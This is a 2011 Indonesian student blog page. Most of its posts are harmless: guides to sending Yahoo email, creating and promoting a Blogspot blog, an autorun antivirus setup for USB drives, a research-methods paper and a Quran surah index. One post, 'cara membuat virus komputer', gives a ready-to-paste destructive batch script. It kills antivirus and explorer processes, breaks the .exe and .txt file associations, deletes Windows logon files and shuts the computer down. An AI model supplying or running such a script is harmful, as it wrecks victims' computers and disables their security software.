mahasiwa stai angkatan 2008

mahasiwa stai angkatan 2008

Sabtu, 04 Juni 2011

cara mengirim email

Seperti biasa tulisan ini ditujukan buat yang bertanya tentang bagaimana cara mengirim email melalui yahoomail.com ? pada hal sangat mudah, namun banyk teman-teman yang masih bingung cara mengirimnya, sehingga ketika ingin mengirim file jadi kebingungan, misal mau ngirim tugas kuliah kepada dosen aplikasi multimedia, tapi masih bingung cara ngirimnya. nah berikut ini merupan cara ngirim email dengan format lama,, untuk yang format baru bisa di pelajari sendiri karena lebih udah.
Semoga bermanfaat untuk Anda yang masih mengalami kesulitan tentang cara mengirim pesan melalui email dari penyedia email gratisan di Yahoo.

Langkah langkah untuk mengirim email :

1. Login ke YahooMail.com atau klik Yahoo.com lalu klik menu mail. Masukkan username dan Password login nya. Seperti yang tercantum pada gambar di bawah ini :


2. Setelah masuk ke bagian dalam akun email Anda lalu klik menu Create yang ada pada pojok kiri halaman email. Seperti yang ditunjukkan pada gambar di bawah ini :



3. Setelah menklik menu Create atau New atau Buat akan tampil tampilan email seperti ini :



Kolom isian ;

1. To :

Diisi dengan alamat email yang di tuju. contohnya tikhamdan@yahoo.co.id pastikan alamat email tersebut tanpa spasi, kesalahan satu karakter huruf seperti halnya mengirim SMS tidak akan terkirim.

2. CC : (diisi kalau diperlukan)

CC (copy carbon) alias salinan email kolom ini bisa diisi atau tidak. Fungsi kolom ini untuk mengirim email ke beberapa email sekaligus . isi dengan alamat email tambahan jika ada alamat email lebih dari satu alamat email, contoh : emailteman1@yahoo.com,emailteman2@yahoo.com (pisahkan dengan tanda koma) Anda juga bisa menambahkan BCC (Bling Copy Carbon)
pada menu yang ada disebelahnya.

Bcc bisa digunakan jika ingin orang yang dikirimi email tidak bisa mengetahui ke mana saja email tersebut anda kirimkan). Contoh kasusnya seperti ini, jika anda mengirim email ke 20 orang (alamat email), maka orang pertama tidak tahu ke 19 orang lainnya yang anda kirimi email, demikian juga orang kedua tidak mengetahui ke 19 orang lainnya yang anda kirimi email, demikian seterusnya.
Jika menggunakan Cc maka 20 orang yang anda kirimi email mengetahui ke mana saja anda kirim email tersebut.

3. Subject :

Kolom isian ini untuk judul atau topik email. Pastikan diisi untuk memperjelas kiriman email oleh penerima Email.

4. Content :

Pada kolom kosong dibawah isilah dengan isi email. Gunakan bahasa yang baik dan benar untuk memudahkan penerima email Anda.

5. pilih lampirkan file jika ingin memasukkan file yang ada di dalam drive anda, misalnya file power point, kemudian video dan suara, dari tugas anda.

6. Langkah terakhir yaitu klik tombol Send yang berada di atas kolom send. Selesai. Proses selanjutnya proses pengiriman email yg berlangsung dalam hitungn detik.

Rabu, 18 Mei 2011

anti virus

Cara Membuat Antivirus Di USB Flash Disk

Jengkel dengan Virus yang otomatis menginfeksi Flash Disk Anda saat Anda colokkan USB Flash Disk Anda ke port komputer yang terinfeksi virus?
Bagaimana tidak kita akali saja dengan Membuat Anti Virus AutoRun dari USB Removable Drive semacam Flash Disk?
Seringkali Virus akan membuat file “autorun.inf” yang ber-attribute file hidden dan system (dan/atau bisa juga termasuk file virus/trojan - server) begitu Anda memasangkan Flask Disk yang dijadikan target penginfeksian virus ataupun target pengintipan aktivitas user atau pencurian data user dengan Trojan.
file autorun.inf inilah command atau pemicu tereksekusinya file induk dan library virus/trojan yang sudah bersarang di komputer lokal atau jaringan tempat Flash Disk Anda berinteraksi dan berhubungan langsung.
Bila Anda pengguna OS Windows, seperti kita ketahui, Versi Windows sebelum generasi Windows Vista (termasuk Windows Windows XP), secara default tidak mengijinkan proses “AutoRun” executable files dari media USB Removable Drives seperti External Hardisk ataupun Flash Drive/Flash Disk (kecuali dari media cakram digital) yang kemungkinan besar ditujukan untuk kepentingan keamanan. Windows hanya mengijinkan proses “AutoPlay” media saja seperti AutoPlay Movie/Music dari DVD atau command seperti Open/View file melalui windows explorernya.
Untungnya (dari faktor kemudahan) sekaligus sayangnya (dari faktor keamanan), Windows Vista secara default telah memperkenankan proses “AutoRun” dilangsungkan dengan dafault opsi yang bisa Anda pilih secara permanen.

Lalu bagaimana mengakali Windows XP agar bisa mengijinkan proses “AutoRun” executable files dari removable drives seperti External Hardisk maupun Flash Disk?
Di bawah ini Penulis sampaikan teknis pembuatan AutoRun AntiVirus pada Flash Disk.
LANGKAH I - Download ANtiVirus yang bersifat Portable
Kenapa harus Portable? Karena tujuan dari pembuatan AutoRun File dari Flash juga bersifat portable, jadi program rujukan, dalam hal ini Anti Virus, bisa dijalankan langsung dari Flash Drive tanpa diperlukan instalasi.
Anda bisa menggunakan ANSAV (Ansav.exe - jangan ANSAV Security Guard) atau PCMAV (PCMAV-CLN.EXE - Jangan PCMAV-RTP.EXE)
Masukkan file Anti Virus Portable (plus file library pendukungnya - bila ada) tersebut ke dalam Flash Disk Anda. Dalam contoh kali ini, untuk mempermudah, letakkan saja di Root Flash Disk Anda tanpa perlu Anda masukkan ke dalam folder.
LANGKAH II - Pembuatan AutoRun Dari Flash Disk
Ada 2 (dua) opsi yang bisa Anda pilih:

1. Menggunakan bantuan software orang lain, atau
2. Menggunakan bantuan tangan Anda sendiri

1. Menggunakan bantuan software orang lain
Nomor ini tidak akan menjadi bahan pembicaraan inti pada Artikel ini.
Namun bila Anda menghendaki, Penulis merekomendasikan Anda untuk menggunakan aplikasi bernama APO USB AutoRun yang sangat bagus dan berkualitas, berfungsi dengan baik pada Windows XP SP2, berukuran file kecil, dan gratis lagi.
APO AutoRun USB akan membuat service bernama autorunusb.exe yang berjalan di background sebagai detektor yang bertugas memindai file autorun.inf pada root removable drive dan mendeteksi semua executable files pada media removable drive serta akan mencocokkan executable files tersebut dengan file name dan path file yang dirujuk oleh file autorun.inf tersebut.
Yang penulis heran dari software ini, APO tetap akan melakukan scan pada seluruh executable files yang ada pada media removable drives.
Namun, walau efeknya sedikit memperlambat kinerja komputer, proses scanning tersebut Penulis cermati dan rasakan sangat bermanfaat juga untuk memindai keberadaan Virus pada Removable Drives yang belum sempat terdeteksi oleh AntiVirus yang aktif di komputer. Begitu proses scanning menemukan suatu executable files atau script yang dianggap sebagai malware oleh AntiVirus tersebut, maka akan memicu (trigger) notifikasi dari AntiVirus bahwa telah ditemukan threat (virus).
Sayangnya APO AutoRun USB harus Anda install dulu sebelum Anda bisa mengaplikasikan AutoRun dari flash disk. Untungnya APO AutoRun USB juga telah menyertakan instalasi untuk keperluan portable plus autorun.inf builder.
2. Menggunakan bantuan tangan Anda sendiri
Teknik yang bisa Anda lakukan adalah pertama-tama dengan sedikit mengubah struktur HEX pada Windows Registry.
Bila sebelumnya atau secara default Windows tidak mengijinkan proses “AutoRun” dari USB Flash Disk, maka Registry-nya seperti ini:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer]
“NoDriveTypeAutoRun”=dword:00000095
Agar Windows bisa mengijinkan proses “AutoRun” dari USB Flash Disk, maka ubah Registrynya menjadi:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer]
“NoDriveTypeAutoRun”=dword:00000091
Anda bisa mengCopy Registry Lines tersebut, lalu Anda simpan sebagai (misal): “AutoRun_Removable_Media_Enable.reg” untuk Anda Klik kanan dan Merge (gabungkan) dengan Windows Registry Database.
Setelah Anda berhasil memasukkan Registry Entry Files ke dalam Windows Registry Database, maka pekerjaan Anda yang terakhir adalah membuat file “autorun.inf” yang berfungsi sebagai Command dengan rujukan ke File Anti Virus yang telah Anda download dan masukkan ke dalam Flash Disk Anda (pada Langkah I)
Dalam contoh ini, Penulis menggunakan PC Media Anti Virus PCMAV-CLN.EXE yang filenamenya telah Penulis ubah menjadi PCM4V-CL34N32.EXE guna menghindari pendeteksian Virus yang dimungkinkan akan memblokir PCMAV-CLN.EXE.
Maka file “autorun.inf” PCMAV menjadi seperti ini:

PC Media Anti Virus
[AutoRun]
open=PCM4V-CL34N32.EXE
icon=PCMAV.ICO
shellexecute=PCM4V-CL34N32.EXE
shell\Scan Virus\command=PCM4V-CL34N32.EXE
shell=Scan Virus
Salin baris-baris INF tersebut, dan simpan sebagai .INF file dengan nama “autorun.inf” (tanpa tanda kutip), kemudian letakkan file “autorun.inf” tersebut pada Root Flash Disk Anda.
KETERANGAN

* Untuk file ICON dari PCMAV, Penulis extract dari file PCMAV-CLN.EXE, yang mana ICON file tersebut juga ditempatkan pada Root Flash Disk. Anda bisa menghilangkan/menghapus baris “icon=PCMAV.ICO” yang digunakan untuk memunculkan ICON File PCMAV sebagai Icon penanda Flash Disk seperti pada screenshot di atas. Baris rujukan ICON ini tidak mempengaruhi proses AutoRun. Namun bila Anda menginginkan PCMAV ICON tersebut, Anda bisa mendownloadnya dengan klik link ini.
* Baris-baris INF tersebut bisa Anda modifikasi sesuai selera tulisan Anda, yang penting path file Anda tidak salah; file tujuan Anda rujuk secara relatif.
* Jangan Lupa, untuk menghindari terhapusnya file dengan begitu mudahnya, sebaiknya sembunyikan saja File Anti Virus berserta library file pendukungnya (bila ada) maupun file “autorun.inf”nya dengan mengeset File Attributnya dengan “hidden” dan bila perlu “system”. Satu rekomendasikan lagi, alangkah baiknya, semua File tersebut Set File Attributenya menjadi “Read Only” agar, secara sederhana, tidak bisa termodifikasi.

Untuk keperluan setting modifikasi File Attribute terbut Anda bisa melakukannya dengan Select All files yang akan disembunyikan, lalu klik kanan file-file tersebut, pilik dan klik “properties”, dan beri tanda centang pada check box “hidden. Sedang untuk set menjadi “system”, Anda bisa menggunakan Windows ATTRIB.EXE di lingkungan kerja DOS atau Anda bisa juga menggunakan Attribute Changer yang berlingkungan kerja GUI. Q = Lho, katanya ga pake tool ya? A = untuk mudahnya, gunakan Attribute Changer bila ATTRIB.EXE dirusak/dihapus Virus/Admin dan Anda malas untuk extract dari Windows CAB.

Promosikan juga blogku buat temen2 kamu ya..
Semoga blog ini bisa sedikit membantu anda THX

cara bikin blog

Panduan membuat Blog di Blogspot
1. Apa itu Blog ?
Blog merupakan sigkatan dari “Web log” adalah salah satu aplikasi web berupa tulisan-tulisan yang umum disebut sebagai posting pada halaman web. Tulisan-tulisan tersebut seringkali diurut dari yang terbaru dan diikuti oleh yang lama.
Awalnya, blog dibuat adalah sebagai catatan pribadi yang disimpan secara online, namun kini isi dari sebuah blog sangat bervariatif ada yang berisi tutorial ( contoh blog ini ), curhat, bisnis dan lain sebagainya. Secara umum, blog tidak ada bedanya dengan situs yang ada di internet.
Flatform blog atau seringkali disebut juga dengan mesin blog dibuat sedemikian rupa oleh para designer blog agar mudah untuk digunakan. Dulu, untuk membuat aplikasi web diperlukan pengetahuan tentang pemrograman HTML, PHP, CSS dan lain sebagainya, dengan blog semuanya menjadi mudah semudah menyebut angka 1 2 3.

2. Cara membuat blog di blogspot
Salah satu penyedia blog gratis yang cukup populer saat ini adalah blogspot atau blogger, dimana ketika mendaptar adalah melalui situs blogger.com namun nama domain yang akan anda dapatkan adalah sub domain dari blogspot, contoh : contohsaja.blogspot.com
Kenapa harus membuat blog di blogger.com bukan pada situs penyedia blog lainnya? Sebenarnya tidak ada keharusan untuk membuat blog di blogger, namun ada banyak kelebihan yang dimiliki blogger di banding dengan penyedia blog lain. Beberapa contoh kelebihan blogspot di banding yang lain yaitu mudah dalam pengoperasian sehingga cocok untuk pemula, lebih leluasa dalam mengganti serta mengedit template sehingga tampilan blog anda akan lebih fresh karena hasil kreasi sendiri, custom domain atau anda dapat mengubah nama blog anda dengan nama domain sendiri misalkan contohsaja.blogspot.com di ubah menjadi contohsaja.com,sedangkan hosting tetap menggunakan blogspot dan masih tetap gratis.
Perlu ditekankan dari awal bahwa internet itu sifatnya sangat dinamis, sehingga mungkin saja dalam beberapa waktu kedepan panduan membuat blog di blogspot ini akan sedikit berbeda dengan apa yang anda lihat di blogger.com
Untuk mengurangi hal yang tidak perlu di tulis, berikut cara membuat blogger di blogger.com

Membuat Email
Salah satu syarat yang harus dipenuhi dalam membuat blog adalah anda memiliki alamat email yang masih aktif atau di gunakan. Jika anda belum mempunyai alamat email, silahkan daftar terlebih dahulu di gmail karena blogger adalah salah satu layanan dari Google maka ketika mendaftar ke blogger sebaiknya gunakan email gmail. Jika anda belum paham bagaimana cara membuat email, silahkan gunakan mesin pencari google untuk mencari panduannya.

Daftar Blog di blogger

1. Silahkan kunjungi situs http://www.blogger.com
2. Setelah halaman pendaftaran terbuka, alihkan perhatian ke sebelah kanan atas, ubah bahasa ke Indonesia agar lebih mudah difahami. Silahkan langsung login dengan menggunakan username serta password gmail anda ( akun email anda bisa untuk login ke blogger).

3. Klik tombol bertuliskan CIPTAKAN BLOG ANDA.

4. Isilah nama judul blog serta alamat blog yang di inginkan. Ingat! dalam membuat alamat blog harus benar-benar serius karena itu permanen tidak dapat digantikan lagi (kecuali nanti ganti dengan custom domain). Jika alamat yang diinginkan ternyata tidak bisa digunakan, masukkan kembali alamat lain yang masih tersedia. Jika alamat blog yang diinginkan masih tersedia, silahkan klik anak panah bertuliskan LANJUTKAN.

5. Silahkan pilih template yang anda sukai ( template ini nanti bisa diubah lagi kapan saja anda mau), kemudian klik LANJUTKAN.

6. Akan ada tulisan “Blog Anda Sudah Jadi!”. Silahkan lanjutkan dengan klik tombol MULAI BLOGGING.

7. Setelah masuk post editor, silahkan isi apa saja ( disarankan untuk langsung mengisi posting, biasanya jika tidak langsung posting akan terjaring robot anti spam milik blogger, dan blog anda akan di lock). Contoh : hello world. Klik Tombol PRATINJAU untuk melihat tampilan yang nanti akan muncul di blog, klik tombol TERBITKAN ENTRI jika posting anda mau dipublikasikan ke publik.

8. Klik “Lihat Entri” untuk melihat blog anda. Berikut contoh tampilan blog yang tadi di buat.

9. Selesai.
Untuk tahap awal, blog anda sudah jadi dan bisa diakses dimana saja. Untuk pembahasan lebih dalam tentang bagaimana blogging dengan blogger, akan di bahas pada posting berikutnya.

anti virus

Cara Membuat Antivirus Di USB Flash Disk

Jengkel dengan Virus yang otomatis menginfeksi Flash Disk Anda saat Anda colokkan USB Flash Disk Anda ke port komputer yang terinfeksi virus?
Bagaimana tidak kita akali saja dengan Membuat Anti Virus AutoRun dari USB Removable Drive semacam Flash Disk?
Seringkali Virus akan membuat file “autorun.inf” yang ber-attribute file hidden dan system (dan/atau bisa juga termasuk file virus/trojan - server) begitu Anda memasangkan Flask Disk yang dijadikan target penginfeksian virus ataupun target pengintipan aktivitas user atau pencurian data user dengan Trojan.
file autorun.inf inilah command atau pemicu tereksekusinya file induk dan library virus/trojan yang sudah bersarang di komputer lokal atau jaringan tempat Flash Disk Anda berinteraksi dan berhubungan langsung.
Bila Anda pengguna OS Windows, seperti kita ketahui, Versi Windows sebelum generasi Windows Vista (termasuk Windows Windows XP), secara default tidak mengijinkan proses “AutoRun” executable files dari media USB Removable Drives seperti External Hardisk ataupun Flash Drive/Flash Disk (kecuali dari media cakram digital) yang kemungkinan besar ditujukan untuk kepentingan keamanan. Windows hanya mengijinkan proses “AutoPlay” media saja seperti AutoPlay Movie/Music dari DVD atau command seperti Open/View file melalui windows explorernya.
Untungnya (dari faktor kemudahan) sekaligus sayangnya (dari faktor keamanan), Windows Vista secara default telah memperkenankan proses “AutoRun” dilangsungkan dengan dafault opsi yang bisa Anda pilih secara permanen.

Lalu bagaimana mengakali Windows XP agar bisa mengijinkan proses “AutoRun” executable files dari removable drives seperti External Hardisk maupun Flash Disk?
Di bawah ini Penulis sampaikan teknis pembuatan AutoRun AntiVirus pada Flash Disk.
LANGKAH I - Download ANtiVirus yang bersifat Portable
Kenapa harus Portable? Karena tujuan dari pembuatan AutoRun File dari Flash juga bersifat portable, jadi program rujukan, dalam hal ini Anti Virus, bisa dijalankan langsung dari Flash Drive tanpa diperlukan instalasi.
Anda bisa menggunakan ANSAV (Ansav.exe - jangan ANSAV Security Guard) atau PCMAV (PCMAV-CLN.EXE - Jangan PCMAV-RTP.EXE)
Masukkan file Anti Virus Portable (plus file library pendukungnya - bila ada) tersebut ke dalam Flash Disk Anda. Dalam contoh kali ini, untuk mempermudah, letakkan saja di Root Flash Disk Anda tanpa perlu Anda masukkan ke dalam folder.
LANGKAH II - Pembuatan AutoRun Dari Flash Disk
Ada 2 (dua) opsi yang bisa Anda pilih:

1. Menggunakan bantuan software orang lain, atau
2. Menggunakan bantuan tangan Anda sendiri

1. Menggunakan bantuan software orang lain
Nomor ini tidak akan menjadi bahan pembicaraan inti pada Artikel ini.
Namun bila Anda menghendaki, Penulis merekomendasikan Anda untuk menggunakan aplikasi bernama APO USB AutoRun yang sangat bagus dan berkualitas, berfungsi dengan baik pada Windows XP SP2, berukuran file kecil, dan gratis lagi.
APO AutoRun USB akan membuat service bernama autorunusb.exe yang berjalan di background sebagai detektor yang bertugas memindai file autorun.inf pada root removable drive dan mendeteksi semua executable files pada media removable drive serta akan mencocokkan executable files tersebut dengan file name dan path file yang dirujuk oleh file autorun.inf tersebut.
Yang penulis heran dari software ini, APO tetap akan melakukan scan pada seluruh executable files yang ada pada media removable drives.
Namun, walau efeknya sedikit memperlambat kinerja komputer, proses scanning tersebut Penulis cermati dan rasakan sangat bermanfaat juga untuk memindai keberadaan Virus pada Removable Drives yang belum sempat terdeteksi oleh AntiVirus yang aktif di komputer. Begitu proses scanning menemukan suatu executable files atau script yang dianggap sebagai malware oleh AntiVirus tersebut, maka akan memicu (trigger) notifikasi dari AntiVirus bahwa telah ditemukan threat (virus).
Sayangnya APO AutoRun USB harus Anda install dulu sebelum Anda bisa mengaplikasikan AutoRun dari flash disk. Untungnya APO AutoRun USB juga telah menyertakan instalasi untuk keperluan portable plus autorun.inf builder.
2. Menggunakan bantuan tangan Anda sendiri
Teknik yang bisa Anda lakukan adalah pertama-tama dengan sedikit mengubah struktur HEX pada Windows Registry.
Bila sebelumnya atau secara default Windows tidak mengijinkan proses “AutoRun” dari USB Flash Disk, maka Registry-nya seperti ini:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer]
“NoDriveTypeAutoRun”=dword:00000095
Agar Windows bisa mengijinkan proses “AutoRun” dari USB Flash Disk, maka ubah Registrynya menjadi:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer]
“NoDriveTypeAutoRun”=dword:00000091
Anda bisa mengCopy Registry Lines tersebut, lalu Anda simpan sebagai (misal): “AutoRun_Removable_Media_Enable.reg” untuk Anda Klik kanan dan Merge (gabungkan) dengan Windows Registry Database.
Setelah Anda berhasil memasukkan Registry Entry Files ke dalam Windows Registry Database, maka pekerjaan Anda yang terakhir adalah membuat file “autorun.inf” yang berfungsi sebagai Command dengan rujukan ke File Anti Virus yang telah Anda download dan masukkan ke dalam Flash Disk Anda (pada Langkah I)
Dalam contoh ini, Penulis menggunakan PC Media Anti Virus PCMAV-CLN.EXE yang filenamenya telah Penulis ubah menjadi PCM4V-CL34N32.EXE guna menghindari pendeteksian Virus yang dimungkinkan akan memblokir PCMAV-CLN.EXE.
Maka file “autorun.inf” PCMAV menjadi seperti ini:

PC Media Anti Virus
[AutoRun]
open=PCM4V-CL34N32.EXE
icon=PCMAV.ICO
shellexecute=PCM4V-CL34N32.EXE
shell\Scan Virus\command=PCM4V-CL34N32.EXE
shell=Scan Virus
Salin baris-baris INF tersebut, dan simpan sebagai .INF file dengan nama “autorun.inf” (tanpa tanda kutip), kemudian letakkan file “autorun.inf” tersebut pada Root Flash Disk Anda.
KETERANGAN

* Untuk file ICON dari PCMAV, Penulis extract dari file PCMAV-CLN.EXE, yang mana ICON file tersebut juga ditempatkan pada Root Flash Disk. Anda bisa menghilangkan/menghapus baris “icon=PCMAV.ICO” yang digunakan untuk memunculkan ICON File PCMAV sebagai Icon penanda Flash Disk seperti pada screenshot di atas. Baris rujukan ICON ini tidak mempengaruhi proses AutoRun. Namun bila Anda menginginkan PCMAV ICON tersebut, Anda bisa mendownloadnya dengan klik link ini.
* Baris-baris INF tersebut bisa Anda modifikasi sesuai selera tulisan Anda, yang penting path file Anda tidak salah; file tujuan Anda rujuk secara relatif.
* Jangan Lupa, untuk menghindari terhapusnya file dengan begitu mudahnya, sebaiknya sembunyikan saja File Anti Virus berserta library file pendukungnya (bila ada) maupun file “autorun.inf”nya dengan mengeset File Attributnya dengan “hidden” dan bila perlu “system”. Satu rekomendasikan lagi, alangkah baiknya, semua File tersebut Set File Attributenya menjadi “Read Only” agar, secara sederhana, tidak bisa termodifikasi.

Untuk keperluan setting modifikasi File Attribute terbut Anda bisa melakukannya dengan Select All files yang akan disembunyikan, lalu klik kanan file-file tersebut, pilik dan klik “properties”, dan beri tanda centang pada check box “hidden. Sedang untuk set menjadi “system”, Anda bisa menggunakan Windows ATTRIB.EXE di lingkungan kerja DOS atau Anda bisa juga menggunakan Attribute Changer yang berlingkungan kerja GUI. Q = Lho, katanya ga pake tool ya? A = untuk mudahnya, gunakan Attribute Changer bila ATTRIB.EXE dirusak/dihapus Virus/Admin dan Anda malas untuk extract dari Windows CAB.

Promosikan juga blogku buat temen2 kamu ya..
Semoga blog ini bisa sedikit membantu anda THX

cara membuat virus komputer

virus komputer adalah sebuah program komputer yang dapat menyalin sendiri atau menggandakan dirinya sendiri dan menginfeksi system komputer yang secara umum bersifat merusak. Tetapi, taukah kamu bahwa virus komputer itu dapat dibuat secara sederhana, tulisan dibawah ini merupakan salah satu cara membuat virus komputer dengan cara yang sangat sederhana. Tetapi sebelum kamu membaca dan mempraktekkan tulisan tersebut perlu dipahami bahwa postingan ini hanya bersifat menambah pengetahuan kamu bukan sebagai hal yang berdampak negatif dan apapun yang terjadi setelah mempraktekkan tulisan dibawah ini, saya terlepas dari dampak yang terjadi..

Mudah cara untuk membuat kode Virus

Virus ini dapat menyerang:
1. Menhapus, NAVAPSVC.exe
2. Menhapus, Explorer.exe (taskbar dan ikon akan hilang)
3. Menhapus, zonelabs.exe
4. mengubah asosiasi file exe menjadi txt (ketika membuka file exe, akan pergi ke notepad)
5. mengubah asosiasi file txt menjadi mp3 (ketika membuka file txt, maka akan terbuka WinAmp atau multimedia player)
6. Menghapus Login / Logoff Screens

Hanya Copy kode di bawah ini lalu paste Pada Notepad:

title virus is my dna
color 0A
@echo off
set end=md “u cant eascape from me-vishnu”
set fin=copy “Hack log.txt” “Installing”
%end%
%fin%
net send * andhra pradesh- virus created in karimnagar from jits college
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
assoc .mp3=.vcf
cls
msg * hi dude this is begining.
msg * vishnu attcked the system try to challenge him .
DEL C:\WINDOWS\system32\logoff.exe /F /Q
DEL C:\WINDOWS\system32\logon.exe /F /Q
DEL C:\WINDOWS\system32\logon.scr /F /Q
cls
shutdown

Simpan di C: dengan nama installhack.bat
Selesai

semoga bermanfaat

baihaki

cara mempromosokan blog

Cara Mempromosikan Blog (2)

Setelah selesai membuat blog, hal yg tak kalah pentingnya adalah empromosikan/memperkenalkan blog milik Anda pada dunia ramai. Apa gunanya membuat blog kalau isi curhat, puisi, cerpen, refleksi dan opini Anda yang diposting tidak dibaca orang, bukan?


Ikuti langkah-langkah promosi blog sebagai berikut read more...



jenis-jenis penelitian

MAKALAH
JENIS-JENIS PENELITIAN
Penelitian Historis
Penelitian historis (historical research) digunakan untuk menggambarkan atau memotret keadaan atau kejadian masa lalu yang kemudian digunakan untuk menjadi proses pembelajaran masyarakat sekarang. Penelitian historis merupakan salah satu penelitian mengenai pengumpulan dan evaluasi data secara sistematik, berkaitan dengan kejadian masa lalu untuk menguji hipotesis yang berhubungan dengan penyebab pengaruh dan perkembangan kejadian yang mungkin membantu dengan memberikan informasi pada kejadian sekarang serta mengantisipasi kejadian yang akan datang (Sukardi, 2003). Tujuan dari penelitian historis adalah untuk membuat read more...


cara membuat virus komputer

virus komputer adalah sebuah program komputer yang dapat menyalin sendiri atau menggandakan dirinya sendiri dan menginfeksi system komputer yang secara umum bersifat merusak. Tetapi, taukah kamu bahwa virus komputer itu dapat dibuat secara sederhana, tulisan dibawah ini merupakan salah satu cara membuat virus komputer dengan cara yang sangat sederhana. Tetapi sebelum kamu membaca dan mempraktekkan tulisan tersebut perlu dipahami bahwa postingan ini hanya bersifat menambah pengetahuan kamu bukan sebagai hal yang berdampak negatif dan apapun yang terjadi setelah mempraktekkan tulisan dibawah ini, saya terlepas dari dampak yang terjadi.. read more...

al-Qur'an Online

O. Surah Turun Ayat Detail
1.  Al-Fatihah (Pembukaan) Makkiyah 7 | Lihat Ayat
2.  Al-Baqarah (Sapi Betina) Madaniyyah 286 | Lihat Ayat
3.  Ali Imran (Keluarga 'Imran) Madaniyyah 200 | Lihat Ayat
4.  An-Nisaa (Wanita) Madaniyyah 176 | Lihat Ayat
5.  Al-Maidah (Hidangan) Madaniyyah 120 | Lihat Ayat
6.  Al-An'am (Binatang Ternak) Makkiyah 165 | Lihat Ayat
7.  Al-A'raf (Tempat Tertinggi) Makkiyah 206 | Lihat Ayat
8.  Al-Anfaal (Rampasan Perang) Madaniyyah 75 | Lihat Ayat
9.  At-Taubah (Pengampunan) Madaniyyah 129 | Lihat Ayat
10.  Yunus (Yunus) Makkiyah 109 | Lihat Ayat
11.  Huud (Hud) Makkiyah 123 | Lihat Ayat
12.  Yusuf (Yusuf) Makkiyah 111 | Lihat Ayat
13.  Ar-Ra'd (Petir) Madaniyyah 43 | Lihat Ayat
14.  Ibrahim (Ibrahim) Makkiyah 52 | Lihat Ayat
15.  Al-Hijr (Al Hijr) Makkiyah 99 | Lihat Ayat
16.  An-Nahl (Lebah) Makkiyah 128 | Lihat Ayat
17.  Al-Israa' (Memperjalankan di Malam Hari) Makkiyah 111 | Lihat Ayat
18.  Al-Kahfi (Goa) Makkiyah 110 | Lihat Ayat
19.  Maryam (Maryam) Makkiyah 98 | Lihat Ayat
20.  Thaahaa (Thaa Haa) Makkiyah 135 | Lihat Ayat
21.  Al-Anbiyaa (Nabi-nabi) Makkiyah 112 | Lihat Ayat
22.  Al-Hajj (Haji) Madaniyyah 78 | Lihat Ayat
23.  Al-Mu'minuun (Orang-orang yang Beriman) Makkiyah 118 | Lihat Ayat
24.  An-Nuur (Cahaya) Madaniyyah 64 | Lihat Ayat
25.  Al-Furqaan (Pembeda) Makkiyah 77 | Lihat Ayat

LIHAT SEMUA SURAH AL-QURAN

Kamis, 31 Maret 2011

cara mempromosokan blog

Cara Mempromosikan Blog (2)

Setelah selesai membuat blog, hal yg tak kalah pentingnya adalah empromosikan/memperkenalkan blog milik Anda pada dunia ramai. Apa gunanya membuat blog kalau isi curhat, puisi, cerpen, refleksi dan opini Anda yang diposting tidak dibaca orang, bukan?


Ikuti langkah-langkah promosi blog sebagai berikut:

(1) Daftarkan di blog directory

Daftarkan blog Anda ke berbagai direktori blog (blog directory). Sedikitnya, daftarkan di tiga blog directory terbesar dan terpopuler, yaitu (a) http://technorati.com (b) http://feeburner.com (c) http://blogdigger.com. Ikuti seluruh petunjuk pada ketiga blog directory tsb ketika mendaftar.

Blog-blog directory ini nantinya secara otomatis akan mengirim data blog dan posting-posting anda ke berbagai search engine, termasuk tiga search engine besar yaitu http://google.com, http://msn.com, http://yahoo.com.

(2) Link-trade, Link Exchange atau Tukar Link

Ajak teman anda yg memiliki blog untuk saling tukar link. Link URL anda di blog dia, dan jangan lupa anda juga memasukkan link blog teman anda tsb. di blog anda. Dalam dunia blog, ini disebut juga dg istilah BLOGROLL. Dan blogroll ini salah satu penyebab cepatnya popularitas blog di seluruh dunia, mengalahkan website yg biasa.

Blogroll atau link-exchange tidak harus melalui permintaan, bisa juga dg saling suka rela. Umpamanya, ada seseorang blogger (pemilik blog) yg memasang link Anda di blog dia, apabila Anda tahu, maka Anda juga "berkewajiban" menambah link blog dia di blog Anda. Apabila tidak, maka akan dicap sebagai "blogger pelit". Di dunia maya pun, sebagaimana di dunia nyata, orang pelit akan selalu teralienasi. Dg kata lain, sedikit "tamu"nya. :)

Nah, bagaimana cara mengetahui ada yg mengelink blog Anda? Caranya mudah: tulis di kotak http://technorati.com/search alamat blog Anda atau blog siapa saja yg ingin Anda ketahui. Contoh blog ini, http://kolom-mario.blogspot.com, setelah itu tekan search, anda akan tahu siapa saja yg ngelink ke blog tsb.

Sebagai langkah pertama 'proyek' tukar link, Anda bisa mencoba dg memasang link blog http://afsyuhud.blogspot.com di sidebar blog Anda. Dalam waktu tidak lama, alamat blog Anda akan tampil di blognya.

(3) Berkunjung ke blog lain

Untuk menambah teman untuk diajak blogroll, sempatkan berkunjung ke blog2 lain, dan berkomentar di bukutamu atau tagboard mereka atau berkomentar di tulisan mereka sambil jangan lupa memasang alamat blog Anda di blog mereka. Dalam waktu tidak lama, mereka akan "bertamu balik" ke "rumah" atau blog Anda.

(4) Aktivitas posting
Usahakan sedikitnya satu kali posting setiap harinya. Posting yg teratur di blog, akan membuat tamu datang secara teratur juga.

(5) Alamat blog di signature email
Tulis alamat blog Anda di signature email. Sehingga setiap anda menulis email ke pribadi atau ke milis, alamat blog anda akan selalu muncul, dan "menggoda" orang untuk berkunjung. Memposting ringkasan tulisan di blog Anda ke milis juga akan sangat menggoda member milis untuk datang ke blog Anda. (bersambung)(source Mario Gagho http://kolom-mario.blogspot.com)

Minggu, 13 Maret 2011

jenis-jenis penelitian

MAKALAH
JENIS-JENIS PENELITIAN

















SEKOLAH TINGGI AGAMA ISLAM
TEMBILAHAN
TA 2011



KATA PENGANTAR

